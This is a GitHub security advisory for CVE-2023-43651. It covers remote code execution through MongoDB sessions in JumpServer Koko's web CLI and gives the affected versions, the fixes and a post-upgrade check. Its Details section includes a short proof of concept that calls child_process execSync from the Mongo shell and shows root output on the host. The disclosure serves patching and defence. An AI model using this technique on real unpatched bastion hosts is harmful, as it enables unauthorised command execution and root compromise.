GitHub Advisoryadvisory · Go

GHSA-4r5x-x283-wm96 Jumpserver Koko vulnerable to remote code execution on the host system via MongoDB shell

MEDIUM Published 2023-10-24 Modified 2023-10-24 Official page ↗
Aliases
CVE-2023-43651
Ecosystem
Go
Packages
github.com/jumpserver/koko
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H
Weaknesses
CWE-94
Reviewed
2023-10-24

Affected packages

• Go github.com/jumpserver/koko: >= 2.0.0, < 2.28.20 → fixed in 2.28.20 • Go github.com/jumpserver/koko: >= 3.0.0, < 3.7.1 → fixed in 3.7.1

Description

Impact An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the host system. Details Through the WEB CLI interface provided by koko, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands. ``` admin> const { execSync } = require("child_process") admin> console.log(execSync("id; hostname;").toString()) uid=0(root) gid=0(root) groups=0(root) jms_koko admin> ``` Patches Safe versions: • v2.28.20 • v3.7.1 Workarounds It is recommended to upgrade the safe versions. After upgrade, you can use the same method to check whether the vulnerability is fixed. ``` admin> console.log(execSync("id; hostname;").toString()) /bin/sh: line 1: /bin/hostname: Permission denied ``` References Thanks for Oskar Zeino-Mahmalat of Sonar found and report this vulnerability

Related

Alias · CVE (1)

  • CVE-2023-43651 JumpServer is an open source bastion host. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References